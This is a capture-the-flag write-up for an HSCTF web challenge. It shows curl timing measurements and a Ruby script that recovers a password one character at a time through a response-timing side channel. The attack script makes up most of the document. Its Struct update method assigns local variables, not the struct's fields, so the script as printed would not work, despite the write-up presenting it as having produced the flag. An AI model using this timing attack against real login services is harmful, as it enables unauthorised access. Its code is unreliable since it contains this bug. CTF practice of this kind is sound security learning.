The challenge text reads:

Storing passwords on my own server seemed unsafe, so I stored it on a seperate one instead. However, the connection between them is very slow and I have no idea why.

https://networked-password.web.chal.hsctf.com

The page is a web interface containing a form with a password input and a button to submit it to the server.

The description hints at a timing attack, so that's a good avenue to explore.

Experimenting with inputs, the following times are observed.

$ time curl $HOST --data 'password=a'      # 0.554 s
$ time curl $HOST --data 'password=hs'     # 1.647 s
$ time curl $HOST --data 'password=hsctf{' # 3.647 s

It appears that the more characters in the password that are correct, the longer the request takes.

Let's build a bruteforcer that will try each possible character in the search space and at each iteration accept the request that takes the longest.

A timer method is necessary. Here's a flashy one that accepts a block to time and returns the number of milliseconds.

def timer
    start = Time.now
    yield
    return ((Time.now - start) * 1000).to_i
end

The next method try receives a possible password and returns how long the server took to respond. Most of the method is spent setting up the tools available under Ruby's low-level Net::HTTP namespace.

def try(password)
    uri = URI.parse(HOST)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true
    headers = { 'Content-Type': 'application/x-www-form-urlencoded' }
    req = Net::HTTP::Post.new(uri.request_uri, headers)
    req.body = "password=#{password}"

    timer do
        http.request req
    end
end

Define the search space and starting flag.

space = '0123456789_{}abcdefghijklmnopqrstuvwxyz'.split('')
flag = 'hsctf{'

To determine when the EOF (end of flag) has been reached, the code should loop until the first } is encountered.

Max = Struct.new(:delay, :char) do
    def update(new_delay, new_char)
        if new_delay > delay
            delay = new_delay
            char = new_char
        end
    end
end

while not flag.end_with?('}')
    max = Max.new(0)

    space.each do |char|
        print "Test #{flag.green.bold + char.yellow.bold}"
        delay = try(flag + char)
        puts " => #{delay}ms"
        max.update(delay, char)
    end

    flag += max.char
    puts "\nCurr #{flag}\n"
end

puts 'Final ' + flag

After running this (for a long time) the (thankfully) short flag is emitted.

hsctf{sm0l_fl4g}

Observe a timelapse gif showing the whole thing.